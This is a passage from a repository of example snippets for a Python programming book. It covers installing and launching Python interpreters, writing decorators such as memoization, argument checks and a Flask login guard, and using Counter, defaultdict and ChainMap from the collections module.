4 | 2.1.0rc1    # Release Candidate
5 | 2.1.0       # Final Release
6 | 2.1.0.post1 # Post Release
7 | 2018.04     # Date based release
8 | 19          # Serial release
9 | 


--------------------------------------------------------------------------------
/Chapter01/wheel_create.py:
--------------------------------------------------------------------------------
1 | python setup.py sdist bdist_wheel --universal
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/apt_install_package.py:
--------------------------------------------------------------------------------
1 | $ sudo apt install python[3]-<package>
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/bpython_requirements.py:
--------------------------------------------------------------------------------
1 | $ cd bpython
2 | $ pip install -e . # installs bpython and necessary dependencies
3 | $ pip install watchdog urwid # install optional dependencies
4 | $ pip install sphinx mock nose # install development dependencies
5 | $ bpython # launch bpython
6 | 


--------------------------------------------------------------------------------
/Chapter02/bypthon_clone.py:
--------------------------------------------------------------------------------
1 | $ git clone git@github.com:<github_username>/bpython.git
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/bypthon_install.py:
--------------------------------------------------------------------------------
1 | $ virtualenv bpython-dev # determines Python version used
2 | $ source bpython-dev/bin/activate # necessary every time you work on bpython
3 | 


--------------------------------------------------------------------------------
/Chapter02/call_module.py:
--------------------------------------------------------------------------------
1 | $ python -m random
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/command_opts.py:
--------------------------------------------------------------------------------
1 | python [-bBdEhiIOqsSuvVWx?] [-c command | -m module-name | script | - ] [args] 
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/dreampie_clone.py:
--------------------------------------------------------------------------------
1 | git clone https://github.com/noamraph/dreampie.git
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/exec_script.py:
--------------------------------------------------------------------------------
1 | $ python <script_name>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/interactive_mode.py:
--------------------------------------------------------------------------------
1 | $ python
2 | Python 3.6.3 |Anaconda, Inc.| (default, Oct 13 2017, 12:02:49) [GCC 7.2.0] on linux 
3 | Type "help", "copyright", "credits" or "license" for more information. 
4 | >>>
5 | 


--------------------------------------------------------------------------------
/Chapter02/ipython_prompt.py:
--------------------------------------------------------------------------------
1 | $ ipython 
2 | Python 3.6.3 |Anaconda, Inc.| (default, Oct 13 2017, 12:02:49) 
3 | Type 'copyright', 'credits' or 'license' for more information 
4 | IPython 6.1.0 – An enhanced Interactive Python. Type '?' for help.
5 | In [1]: 
6 | 


--------------------------------------------------------------------------------
/Chapter02/ironpython_install.py:
--------------------------------------------------------------------------------
1 | Install-Package IronPython
2 | Install-Package IronPython.StdLib
3 | 


--------------------------------------------------------------------------------
/Chapter02/jupyter_install.py:
--------------------------------------------------------------------------------
1 | $ python -m pip install ipykernel
2 | $ python -m ipykernel install [--user] [--name <machine-readable-name>] [--display-name <"User Friendly Name">]
3 | 


--------------------------------------------------------------------------------
/Chapter02/jython_console.py:
--------------------------------------------------------------------------------
1 | java -jar jython_installer-2.7.1.jar --console
2 | 


--------------------------------------------------------------------------------
/Chapter02/jython_install.py:
--------------------------------------------------------------------------------
1 | java -jar jython_installer-2.7.1.jar
2 | 


--------------------------------------------------------------------------------
/Chapter02/make_html.py:
--------------------------------------------------------------------------------
1 | $ make -C doc/sphinx html
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/micropython.py:
--------------------------------------------------------------------------------
1 | $ git submodule update --init
2 | $ cd ports/unix
3 | $ make axtls
4 | $ make
5 | 


--------------------------------------------------------------------------------
/Chapter02/os_environ.py:
--------------------------------------------------------------------------------
1 | >>> os.environ["PYTHONOPTIMIZE"] = "1"
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/print_path.py:
--------------------------------------------------------------------------------
1 | >>> print(os.environ["PATH"])
2 | /home/cody/anaconda3/bin:/home/cody/bin:/home/cody/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
3 | 


--------------------------------------------------------------------------------
/Chapter02/read_startup.py:
--------------------------------------------------------------------------------
1 | if os.path.isfile('.pythonrc.py'): exec(open('.pythonrc.py').read()
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/run_command.py:
--------------------------------------------------------------------------------
1 | $ python -c "print('Hello World')"
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/run_ipython.py:
--------------------------------------------------------------------------------
1 | $ pip install ipython
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/run_script.py:
--------------------------------------------------------------------------------
1 | $ python <script>.py
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter02/specify_version.py:
--------------------------------------------------------------------------------
1 | $ python2 some_script.py # Use the latest version of Python 2
2 | $ python2.7 ... # Specifically use Python 2.7
3 | $ python3 ... # Use the latest version of Python 3
4 | $ python3.5.2 ... # Specifically use Python 3.5.2
5 | 


--------------------------------------------------------------------------------
/Chapter02/stackless_install.py:
--------------------------------------------------------------------------------
1 | $ ./configure
2 | $ make
3 | $ make test
4 | $ sudo make install
5 | 


--------------------------------------------------------------------------------
/Chapter02/startup_script.py:
--------------------------------------------------------------------------------
1 | import os
2 | filename = os.environ.get('PYTHONSTARTUP')
3 | if filename and os.path.isfile(filename):
4 |   with open(filename) as fobj:
5 |       startup_file = fobj.read()
6 |    exec(startup_file)
7 | 


--------------------------------------------------------------------------------
/Chapter02/windows_install.py:
--------------------------------------------------------------------------------
1 | python-3.6.0.exe /quiet # Suppress the GUI and install base installation silently
2 | ... /passive # Skip user interaction but display progress and errors
3 | ... /uninstall # Immediately start removing Python; no prompt displayed
4 | 


--------------------------------------------------------------------------------
/Chapter02/winpy_error.py:
--------------------------------------------------------------------------------
1 | 'py' is not recognized as an internal or external command, operable program or batch file.
2 | 


--------------------------------------------------------------------------------
/Chapter02/winpy_version.py:
--------------------------------------------------------------------------------
1 | py -2.6 # Launches Python version 2.6
2 | py -2 # Launches the latest version of Python 2
3 | 


--------------------------------------------------------------------------------
/Chapter03/add_attributes.py:
--------------------------------------------------------------------------------
 1 | def attrs(**kwds):
 2 |     def decorate(f):
 3 |         for k in kwds:
 4 |             setattr(f, k, kwds[k])
 5 |         return f
 6 |     return decorate
 7 | 
 8 | @attrs(versionadded="2.2", author="Guido van Rossum")
 9 | def mymethod(f):
10 |     ...
11 | 


--------------------------------------------------------------------------------
/Chapter03/call_dec.py:
--------------------------------------------------------------------------------
 1 | def _memoize(func, *args, **kw):
 2 |     if kw:  # frozenset is used to ensure hashability
 3 |         key = args, frozenset(kw.items())
 4 |     else:
 5 |         key = args
 6 |     cache = func.cache  # attribute added by memoize
 7 |     if key not in cache:
 8 |         cache[key] = func(*args, **kw)
 9 |     return cache[key]
10 | 


--------------------------------------------------------------------------------
/Chapter03/call_funct.py:
--------------------------------------------------------------------------------
1 | a_funct()
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter03/cat_class.py:
--------------------------------------------------------------------------------
 1 | class Cat():
 2 |     def __init__(self, breed, age):
 3 |         """Initialization method to auto-populate an instance"""
 4 | 
 5 |         self.breed = breed
 6 |         self.age = age
 7 | 
 8 |     def cat_age(self):
 9 |         """Get the cat's age"""
10 | 
11 |         return self.age
12 | 
13 |     def breed(self):
14 |         """Get the type of cat, e.g. short hair, long hair, etc."""
15 |         
16 |         return self.breed
17 | 
18 |     def __repr__(self):
19 |             """Return string representation of Cat object.
20 | 
21 |             Without this method, only the object's memory address will be printed.
22 |             """
23 |             return "{breed}, {age}".format(breed = self.breed, age = self.age)
24 | 


--------------------------------------------------------------------------------
/Chapter03/cat_instance.py:
--------------------------------------------------------------------------------
1 | chip = Cat("domestic shorthair", 4)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter03/circle_call.py:
--------------------------------------------------------------------------------
1 | r = input("Input radius: ")
2 | diameter, circumference, area = circle_measures(r)
3 | 


--------------------------------------------------------------------------------
/Chapter03/class_method.py:
--------------------------------------------------------------------------------
 1 | @classmethod # This is required
 2 |     def type(cls):
 3 |         """
 4 |         Class method, available only to classes.
 5 | 
 6 |         Notice that 'cls' is the argument, as opposed to 'self'
 7 |         """
 8 | 
 9 |         if cls.__name__ == "Cat":
10 |             return "Some sort of domestic cat."
11 |         else:
12 |             return cls.__name__
13 | 


--------------------------------------------------------------------------------
/Chapter03/dec_funct.py:
--------------------------------------------------------------------------------
 1 | def arg_check(func):
 2 |     def wrapper(num):
 3 |         if type(num) != int:
 4 |             raise TypeError("Argument is not an integer")
 5 |         elif num <= 0:
 6 |             raise ValueError("Argument is not positive")
 7 |         else:
 8 |             return func(num)
 9 |     return wrapper
10 | 


--------------------------------------------------------------------------------
/Chapter03/dec_wrapper.py:
--------------------------------------------------------------------------------
 1 | import functools
 2 | import time
 3 | from decorator import *
 4 | 
 5 | def _memoize(func, *args, **kw):
 6 |     if kw:  # frozenset is used to ensure hashability
 7 |         key = args, frozenset(kw.items())
 8 |     else:
 9 |         key = args
10 |     cache = func.cache  # attribute added by memoize
11 |     if key not in cache:
12 |         cache[key] = func(*args, **kw)
13 |     return cache[key]
14 | 


--------------------------------------------------------------------------------
/Chapter03/decorated_funct.py:
--------------------------------------------------------------------------------
1 | @arg_check
2 | def circle_measures(radius):
3 |     circumference = 2 * pi * radius
4 |     area = pi * radius * radius
5 |     diameter = 2 * radius
6 |     return (diameter, circumference, area)
7 | 


--------------------------------------------------------------------------------
/Chapter03/decorator.py:
--------------------------------------------------------------------------------
 1 | def fun_decorator(some_funct):
 2 |     def wrapper():
 3 |         print("Here is the decorator, doing its thing")
 4 |         for i in range(10):
 5 |             print(i)
 6 |         print("The decorator is done, returning to the originally scheduled function")
 7 |         print(some_funct())
 8 |     return wrapper
 9 | 
10 | @fun_decorator
11 | def a_funct():
12 |     text = "I am a decorated function call"
13 |     return text
14 | 
15 | a_funct()
16 | 


--------------------------------------------------------------------------------
/Chapter03/decorator_appearance.py:
--------------------------------------------------------------------------------
1 | @foo_decorator
2 | def my_function():
3 |     pass
4 | 


--------------------------------------------------------------------------------
/Chapter03/decorator_args.py:
--------------------------------------------------------------------------------
 1 | @app.route("/entry/add", methods=["GET"])
 2 | @login_required # Force authentication
 3 | def add_entry_get():
 4 |     """Display the web form for a new blog entry"""
 5 |     return render_template("add_entry.html")
 6 | 
 7 | 
 8 | @app.route("/entry/add", methods=["POST"])
 9 | @login_required # Force authentication
10 | def add_entry_post():
11 |     """Take an entry form and put the data in the DB"""
12 |     entry = Entry(
13 |         title=request.form["title"],
14 |         content=request.form["content"],
15 |         author=current_user
16 |     )
17 |     session.add(entry)
18 |     session.commit()
19 |     return redirect(url_for("entries"))
20 | 
21 | @app.route("/login", methods=["GET"])
22 | def login_get():
23 |     """Display the login page"""
24 |     return render_template("login.html")
25 | 
26 | @app.route("/login", methods=["POST"])
27 | def login_post():
28 |     """Check if user is in database"""
29 |     email = request.form["email"]
30 |     password = request.form["password"]
31 |     user = session.query(User).filter_by(email=email).first()
32 |     if not user or not check_password_hash(user.password, password):
33 |         flash("Incorrect username or password", "danger")
34 |         return redirect(url_for("login_get"))
35 | 
36 |     login_user(user)
37 |     return redirect(request.args.get('next') or url_for("entries"))
38 | 


--------------------------------------------------------------------------------
/Chapter03/decorator_value.py:
--------------------------------------------------------------------------------
1 | a_funct = fun_decorator(a_funct)
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter03/def_memoize.py:
--------------------------------------------------------------------------------
1 | def memoize(f):
2 |     """
3 |     A simple memoize implementation. It works by adding a .cache dictionary
4 |     to the decorated function. The cache will grow indefinitely, so it is
5 |     your responsibility to clear it, if needed.
6 |     """
7 |     f.cache = {}
8 |     return decorate(f, _memoize)
9 | 


--------------------------------------------------------------------------------
/Chapter03/define_decorator.py:
--------------------------------------------------------------------------------
1 | def fun_decorator(some_funct):
2 |     def wrapper():
3 |         print("Here is the decorator, doing its thing")
4 |         for i in range(10):
5 |             print(i)
6 |         print("The decorator is done, returning to the originally scheduled function")
7 |         print(some_funct())
8 |     return wrapper
9 | 


--------------------------------------------------------------------------------
/Chapter03/define_login.py:
--------------------------------------------------------------------------------
1 | def login_required(f):
2 |     @wraps(f)
3 |     def decorated_function(*args, **kwargs):
4 |         if g.user is None:
5 |             return redirect(url_for('login', next=request.url))
6 |         return f(*args, **kwargs)
7 |     return decorated_function
8 | 


--------------------------------------------------------------------------------
/Chapter03/final_code.py:
--------------------------------------------------------------------------------
 1 | from math import pi 
 2 | 
 3 | def arg_check(func):
 4 |     def wrapper(num):
 5 |         if type(num) != int:
 6 |             raise TypeError("Argument is not an integer")
 7 |         elif num <= 0:
 8 |             raise ValueError("Argument is not positive")
 9 |         else:
10 |             return func(num)
11 |     return wrapper
12 | 
13 | @arg_check
14 | def circle_measures(radius):
15 |     circumference = 2 * pi * radius
16 |     area = pi * radius * radius
17 |     diameter = 2 * radius
18 |     return (diameter, circumference, area)
19 | 
20 | diameter, circumference, area = circle_measures(6)
21 | print("The diameter is", diameter, "\nThe circumference is", circumference, "\nThe area is", area)
22 | 


--------------------------------------------------------------------------------
/Chapter03/funct_as_arg.py:
--------------------------------------------------------------------------------
 1 | >>> def mult(x, y):
 2 | ...     return x * y
 3 | ... 
 4 | >>> def div(x, y):
 5 | ...     return x / y
 6 | ... 
 7 | >>> def math(func, x, y):
 8 | ...     result = func(x, y)
 9 | ...     return result
10 | ... 
11 | >>> math(mult, 4, 2)
12 | 8
13 | >>> math(div, 4, 2)
14 | 2.0
15 | 


--------------------------------------------------------------------------------
/Chapter03/funct_names.py:
--------------------------------------------------------------------------------
1 | >>> def first_func(val):
2 | ...     print(val)
3 | ...
4 | >>> new_name = first_func
5 | >>> first_func("Spam!")
6 | Spam!
7 | >>> new_name("Spam too!")
8 | Spam too!
9 | 


--------------------------------------------------------------------------------
/Chapter03/funct_nesting.py:
--------------------------------------------------------------------------------
1 | >>> def person(name):
2 | ...     def greeting():
3 | ...         return "Would you like some spam, "
4 | ...     greet = greeting() + name + "?"
5 | ...     return greet
6 | ... 
7 | >>> print(person("Sir Galahad"))
8 | Would you like some spam, Sir Galahad?
9 | 


--------------------------------------------------------------------------------
/Chapter03/funct_param.py:
--------------------------------------------------------------------------------
 1 | >>> def greeting(name):
 2 | ...     return "'allo " + name
 3 | ...
 4 | >>> def call_me(func):
 5 | ...     nickname = "mate"
 6 | ...     return func(nickname)
 7 | ... 
 8 | 
 9 | >>> print(call_me(greeting))
10 | 'allo mate
11 | 


--------------------------------------------------------------------------------
/Chapter03/funct_scope.py:
--------------------------------------------------------------------------------
1 | >>> def func_creator2(name):
2 | ...     def greeting():
3 | ...         return "Welcome, " + name
4 | ...     return greeting
5 | ... 
6 | >>> greet = func_creator2("Brian")
7 | >>> print(greet())
8 | Welcome, Brian
9 | 


--------------------------------------------------------------------------------
/Chapter03/function_enforcement.py:
--------------------------------------------------------------------------------
 1 | def accepts(*types):
 2 |     def check_accepts(f):
 3 |         assert len(types) == f.func_code.co_argcount
 4 |         def new_f(*args, **kwds):
 5 |             for (a, t) in zip(args, types):
 6 |                 assert isinstance(a, t), \
 7 |                        "arg %r does not match %s" % (a,t)
 8 |             return f(*args, **kwds)
 9 |         new_f.func_name = f.func_name
10 |         return new_f
11 |     return check_accepts
12 | 
13 | def returns(rtype):
14 |     def check_returns(f):
15 |         def new_f(*args, **kwds):
16 |             result = f(*args, **kwds)
17 |             assert isinstance(result, rtype), \
18 |                    "return value %r does not match %s" % (result,rtype)
19 |             return result
20 |         new_f.func_name = f.func_name
21 |         return new_f
22 |     return check_returns
23 | 
24 | @accepts(int, (int,float))
25 | @returns((int,float))
26 | def func(arg1, arg2):
27 |     return arg1 * arg2
28 | 


--------------------------------------------------------------------------------
/Chapter03/generic_funct.py:
--------------------------------------------------------------------------------
1 | def func_foo():
2 |     pass
3 | 


--------------------------------------------------------------------------------
/Chapter03/import_flask.py:
--------------------------------------------------------------------------------
1 | from flask import g, request, redirect, url_for
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter03/import_wraps.py:
--------------------------------------------------------------------------------
1 | from functools import wraps
2 | 
3 | 


--------------------------------------------------------------------------------
/Chapter03/inventory_dec.py:
--------------------------------------------------------------------------------
1 | @app.route('/inventory')
2 | @login_required
3 | def inventory():
4 |     pass
5 | 


--------------------------------------------------------------------------------
/Chapter03/long_flask_program.py:
--------------------------------------------------------------------------------
 1 | @app.route("/") # Root (default) page to display when landing on web site
 2 | @app.route("/page/<int:page>") # Specific site page
 3 | @login_required # Force authentication
 4 | def entries(page=1):
 5 |     """
 6 |     Query the database entries of the blog.
 7 | 
 8 |     :param page: The page number of the site.
 9 |     :return: Template page with the number of entries specified, Next/Previous links, page number, and total number of
10 |     pages in the site
11 |     """
12 |     # Zero-indexed page
13 |     default_entries = 10
14 |     max_entries = 50
15 | 
16 |     # Set the number of entries displayed per page
17 |     try:
18 |         entry_limit = int(request.args.get('limit', default_entries)) # Get the limit from HTML argument 'limit'
19 |         assert entry_limit > 0 # Ensure positive number
20 |         assert entry_limit <= max_entries # Ensure entries don't exceed max value
21 |     except (ValueError, AssertionError): # Use default value if number of entries doesn't meet expectations
22 |         entry_limit = default_entries
23 | 
24 |     page_index = page - 1
25 | 
26 |     count = session.query(Entry).count()
27 | 
28 |     start = page_index * PAGINATE_BY # Index of first entry on page
29 |     end = start + PAGINATE_BY # Index of last entry on page
30 |     total_pages = (count - 1) // PAGINATE_BY + 1 # Total number of pages
31 |     has_next = page_index < total_pages - 1 # Does following page exit?
32 |     has_prev = page_index > 0 # Does previous page exist?
33 | 
34 |     entries = session.query(Entry)
35 |     entries = entries.order_by(Entry.datetime.desc())
36 |     entries = entries[start:end]
37 | 
38 |     return render_template("entries.html",
39 |                            entries=entries,
40 |                            has_next=has_next,
41 |                            has_prev=has_prev,
42 |                            page=page,
43 |                            total_pages=total_pages
44 |                            )
45 | 


--------------------------------------------------------------------------------
/Chapter03/main_funct.py:
--------------------------------------------------------------------------------
1 | def a_funct():
2 |     text = "I am the original function call"
3 |     return text
4 | 


--------------------------------------------------------------------------------
/Chapter03/memoize_dec.py:
--------------------------------------------------------------------------------
 1 | def memoize_uw(func):
 2 |     func.cache = {}
 3 | 
 4 |     def memoize(*args, **kw):
 5 |         if kw:  # frozenset is used to ensure hashability
 6 |             key = args, frozenset(kw.items())
 7 |         else:
 8 |             key = args
 9 |         if key not in func.cache:
10 |             func.cache[key] = func(*args, **kw)
11 |         return func.cache[key]
12 |     return functools.update_wrapper(memoize, func)
13 | 


--------------------------------------------------------------------------------
/Chapter03/memoize_funct.py:
--------------------------------------------------------------------------------
1 | @memoize_uw
2 | def f1(x):
3 |     "Simulate some long computation"
4 |     time.sleep(1)
5 |     return x
6 | 


--------------------------------------------------------------------------------
/Chapter03/return_funct.py:
--------------------------------------------------------------------------------
1 | >>> def func_creator():
2 | ...     def return_saying():
3 | ...         return "Blessed are the cheese makers"
4 | ...     return return_saying
5 | ... 
6 | >>> statement = func_creator()
7 | >>> print(statement())
8 | Blessed are the cheese makers
9 | 


--------------------------------------------------------------------------------
/Chapter03/run_memoize.py:
--------------------------------------------------------------------------------
1 | import time
2 | 
3 | @memoize
4 | def data_simulator():
5 |     time.sleep(2)
6 |     return "done"
7 | 


--------------------------------------------------------------------------------
/Chapter03/static_method.py:
--------------------------------------------------------------------------------
1 | @staticmethod # This is required
2 |     def cry():
3 |         """Static method, available to all instances and the class
4 | 
5 |         Notice that 'self' is not a required argument
6 |         """
7 | 
8 |         return "Nyao nyao" # It's a Japanese cat
9 | 


--------------------------------------------------------------------------------
/Chapter03/time_dec.py:
--------------------------------------------------------------------------------
 1 | import math
 2 | 
 3 | # Silly little number cruncher
 4 | @time_decorator
 5 | def factorial_counter(x, y):
 6 |     fact = math.factorial(x)
 7 |     time.sleep(2)  # Force a delay to show the time decorator works
 8 |     fact2 = math.factorial(y)
 9 |     print(math.gcd(fact, fact2))
10 | 
11 | factorial_counter(10000, 10)
12 | 


--------------------------------------------------------------------------------
/Chapter03/time_decorator_creation.py:
--------------------------------------------------------------------------------
 1 | import time
 2 | 
 3 | def time_decorator(funct):
 4 |     def wrapper(*arg):
 5 |         # time = time.perf_counter()
 6 |         result = funct(*arg)
 7 |         print(time.perf_counter())
 8 |         return result
 9 |     return wrapper
10 | 


--------------------------------------------------------------------------------
/Chapter03/whole_program.py:
--------------------------------------------------------------------------------
 1 | def fun_decorator(some_funct):
 2 |     def wrapper():
 3 |         print("Here is the decorator, doing its thing")
 4 |         for i in range(10):
 5 |             print(i)
 6 |         print("The decorator is done, returning to the originally scheduled function")
 7 |         print(some_funct())
 8 |     return wrapper
 9 | 
10 | def a_funct():
11 |     text = "I am the original function call"
12 |     return text
13 | 
14 | a_funct = fun_decorator(a_funct)
15 | a_funct()
16 | 


--------------------------------------------------------------------------------
/Chapter04/adult_list_comp.py:
--------------------------------------------------------------------------------
1 | In [2]: people = [Adult(age) for age in (40, 18, 40, 42, 18, 25, 23, 80, 67, 18)] 
2 | 


--------------------------------------------------------------------------------
/Chapter04/age_groups.py:
--------------------------------------------------------------------------------
 1 | In [3]: age_groups = {}
 2 | 
 3 | In [4]: for person in people:
 4 |    ...:     age = person.age
 5 |    ...:     if age in age_groups:  # does the age already exist in the dictionary?
 6 |    ...:         age_groups[age].append(person)  # if so, append a new item
 7 |    ...:     else:
 8 |    ...:         age_groups[age] = [person]  # add the age value to the dictionary
 9 |    ...:         
10 | 
11 | In [5]: for i in age_groups:
12 |    ...:     print(i)
13 |    ...:     
14 | 40
15 | 18
16 | 42
17 | 25
18 | 23
19 | 80
20 | 67
21 | 
22 | In [6]: age_groups.items()
23 | Out[6]: dict_items([(40, [40, 40]), (18, [18, 18, 18]), (42, [42]), (25, [25]), (23, [23]), (80, [80]), (67, [67])])
24 | 
25 | In [7]: for k in age_groups:
26 |    ...:     print(k, age_groups[k])
27 |    ...:     
28 | 40 [40, 40]
29 | 18 [18, 18, 18]
30 | 42 [42]
31 | 25 [25]
32 | 23 [23]
33 | 80 [80]
34 | 67 [67]
35 | 


--------------------------------------------------------------------------------
/Chapter04/bags_vs_counter.py:
--------------------------------------------------------------------------------
 1 | >>> c = Counter()
 2 | >>> c['a'] += 1
 3 | >>> len(c)
 4 | 1
 5 | >>> c['a'] -= 1
 6 | >>> len(c)
 7 | 1
 8 | >>> c['a'] += 2
 9 | >>> len(c)
10 | 1
11 | >>> len(Counter('aaabbc'))
12 | 3
13 | >>> b = bag()
14 | >>> b.add('a')
15 | >>> len(b)
16 | 1
17 | >>> b.remove('a')
18 | >>> len(b)
19 | 0
20 | >>> len(bag('aaabbc'))
21 | 6
22 | 


--------------------------------------------------------------------------------
/Chapter04/book_catalog.py:
--------------------------------------------------------------------------------
 1 | In [1]: import collections
 2 | 
 3 | In [2]: bookCatalog = collections.defaultdict(lambda:"Unavailable")
 4 | 
 5 | In [3]: bookCatalog["a"] = "Arts"
 6 | 
 7 | In [4]: bookCatalog["b"] = "Biology"
 8 | 
 9 | In [5]: bookCatalog["c"] = "Chemistry"
10 | 
11 | In [6]: bookCatalog["d"] = "Dentistry"
12 | 
13 | In [7]: print(bookCatalog)
14 | defaultdict(<function <lambda> at 0x7f41ab5f3840>, {'a': 'Arts', 'b': 'Biology', 'c': 'Chemistry', 'd': 'Dentistry'})
15 | 
16 | In [8]: for k in bookCatalog:
17 |    ...:     print(k, bookCatalog[k])
18 |    ...:     
19 | a Arts
20 | b Biology
21 | c Chemistry
22 | d Dentistry
23 | 
24 | In [9]: bookCatalog["z"]
25 | Out[9]: 'Unavailable'
26 | 
27 | In [10]: for k in bookCatalog:
28 |     ...:     print(k, bookCatalog[k])
29 |     ...:     
30 | a Arts
31 | b Biology
32 | c Chemistry
33 | d Dentistry
34 | z Unavailable
35 | 


--------------------------------------------------------------------------------
/Chapter04/chainmap_builtins.py:
--------------------------------------------------------------------------------
1 | import builtins
2 | pylookup = ChainMap(locals(), globals(), vars(builtins))
3 | 


--------------------------------------------------------------------------------
/Chapter04/chainmap_combined.py:
--------------------------------------------------------------------------------
 1 | import os, argparse
 2 | from collections import ChainMap
 3 | 
 4 | defaults = {'color': 'red', 'user': 'guest'}
 5 | 
 6 | parser = argparse.ArgumentParser()
 7 | parser.add_argument('-u', '--user')
 8 | parser.add_argument('-c', '--color')
 9 | namespace = parser.parse_args()
10 | command_line_args = {k:v for k, v in vars(namespace).items() if v}
11 | 
12 | combined = ChainMap(command_line_args, os.environ, defaults)
13 | print(combined['color'])
14 | print(combined['user'])
15 | 


--------------------------------------------------------------------------------
/Chapter04/chainmap_import.py:
--------------------------------------------------------------------------------
 1 | >>> from collections import ChainMap
 2 | >>> x = {"a": 10, "b": 20}
 3 | >>> y = {"b": 30, "c": 40}
 4 | >>> z = ChainMap(y, x)
 5 | >>> for key, value in z.items():
 6 | ...     print(key, value)
 7 | ... 
 8 | a 10
 9 | b 30
10 | c 40
11 | >>> z = ChainMap(x, y)
12 | >>> for key, value in z.items():
13 | ...     print(key, value)
14 | ... 
15 | a 10
16 | b 20
17 | c 40
18 | 


--------------------------------------------------------------------------------
/Chapter04/chainmap_nested_context.py:
--------------------------------------------------------------------------------
 1 | c = ChainMap()        # Create root context
 2 | d = c.new_child()     # Create nested child context
 3 | e = c.new_child()     # Child of c, independent from d
 4 | e.maps[0]             # Current context dictionary -- like Python's locals()
 5 | e.maps[-1]            # Root context -- like Python's globals()
 6 | e.parents             # Enclosing context chain -- like Python's nonlocals
 7 | 
 8 | d['x']                # Get first key in the chain of contexts
 9 | d['x'] = 1            # Set value in current context
10 | del d['x']            # Delete from current context
11 | list(d)               # All nested values
12 | k in d                # Check all nested values
13 | len(d)                # Number of nested values
14 | d.items()             # All nested items
15 | dict(d)               # Flatten into a regular dictionary
16 | 


--------------------------------------------------------------------------------
/Chapter04/class_adult.py:
--------------------------------------------------------------------------------
1 | In [1]: class Adult():
2 |    ...:     def __init__(self, age):
3 |    ...:         self.age = age
4 |    ...:     def __repr__(self):
5 |    ...:         return"{}".format(self.age)
6 |    ...:   
7 | 


--------------------------------------------------------------------------------
/Chapter04/count_elements.py:
--------------------------------------------------------------------------------
1 | >>> count.elements()	# iterators create an object in memory
2 | <itertools.chain object at 0x7f210f769a90>
3 | >>> sorted(count.elements())	# use another function to actually print the iterated values
4 | ['eggs', 'spam']
5 | 


--------------------------------------------------------------------------------
/Chapter04/counter_del.py:
--------------------------------------------------------------------------------
1 | >>> count["bacon"] = 0	# assigning a value of 0 to "bacon"
2 | >>> count
3 | Counter({'spam': 1, 'eggs': 1, 'bacon': 0})
4 | >>> del count["bacon"]	# del must be used to actually remove "bacon"
5 | >>> count
6 | Counter({'spam': 1, 'eggs': 1})
7 | 


--------------------------------------------------------------------------------
/Chapter04/counter_import.py:
--------------------------------------------------------------------------------
1 | >>> from collections import Counter
2 | >>> c = Counter()                           # a new, empty counter
3 | >>> c = Counter('gallahad')                 # a new counter from an iterable
4 | >>> c = Counter({'red': 4, 'blue': 2})      # a new counter from a mapping
5 | >>> c = Counter(cats=4, dogs=8)             # a new counter from keyword args
6 | 


--------------------------------------------------------------------------------
/Chapter04/counter_math.py:
--------------------------------------------------------------------------------
 1 | >>> c = Counter(a=3, b=1)
 2 | >>> d = Counter(a=1, b=2)
 3 | >>> c + d                       # add two counters together:  c[x] + d[x]
 4 | Counter({'a': 4, 'b': 3})
 5 | >>> c - d                       # subtract (keeping only positive counts)
 6 | Counter({'a': 2})
 7 | >>> c & d                       # intersection:  min(c[x], d[x]) 
 8 | Counter({'a': 1, 'b': 1})
 9 | >>> c | d                       # union:  max(c[x], d[x])
10 | Counter({'a': 3, 'b': 2})
11 | 


--------------------------------------------------------------------------------
/Chapter04/counter_most_common.py:
--------------------------------------------------------------------------------
1 | >>> c = Counter('gallahad')
2 | >>> c.most_common()	# return all values
3 | [('a', 3), ('l', 2), ('g', 1), ('h', 1), ('d', 1)]
4 | >>> c.most_common(3)	# return top three
5 | [('a', 3), ('l', 2), ('g', 1)]
6 | 


--------------------------------------------------------------------------------
/Chapter04/counter_ops.py:
--------------------------------------------------------------------------------
 1 | sum(c.values())                 # total of all counts
 2 | c.clear()                       # reset all counts
 3 | list(c)                         # list unique elements
 4 | set(c)                          # convert to a set
 5 | dict(c)                         # convert to a regular dictionary
 6 | c.items()                       # convert to a list of (elem, cnt) pairs
 7 | Counter(dict(list_of_pairs))    # convert from a list of (elem, cnt) pairs
 8 | c.most_common()[:-n-1:-1]       # n least common elements
 9 | +c                              # remove zero and negative counts
10 | 


--------------------------------------------------------------------------------
/Chapter04/counter_shortcuts.py:
--------------------------------------------------------------------------------
1 | >>> c = Counter(a=2, b=-4)
2 | >>> +c	# removes negative and zero values
3 | Counter({'a': 2})
4 | >>> -c	# inverts signs; negative values are ignored
5 | Counter({'b': 4})
6 | 


--------------------------------------------------------------------------------
/Chapter04/counter_subtract.py:
--------------------------------------------------------------------------------
1 | >>> c = Counter(a=4, b=2, c=0, d=-2)
2 | >>> d = Counter(a=1, b=2, c=3, d=4)
3 | >>> c.subtract(d)
4 | >>> c
5 | Counter({'a': 3, 'b': 0, 'c': -3, 'd': -6})
6 | 


--------------------------------------------------------------------------------
/Chapter04/counter_text_map.py:
--------------------------------------------------------------------------------
1 | >>> c
2 | Counter({'a': 3, 'l': 2, 'g': 1, 'h': 1, 'd': 1})
3 | 


--------------------------------------------------------------------------------
/Chapter04/counter_zero.py:
--------------------------------------------------------------------------------
1 | >>> count = Counter(["spam", "eggs", "bacon"])
2 | >>> count["toast"]
3 | 0
4 | >>> count
5 | Counter({'spam': 1, 'eggs': 1, 'bacon': 1})
6 | 


--------------------------------------------------------------------------------
/Chapter04/deep_chainmap.py:
--------------------------------------------------------------------------------
 1 | class DeepChainMap(ChainMap):
 2 |     'Variant of ChainMap that allows direct updates to inner scopes'
 3 | 
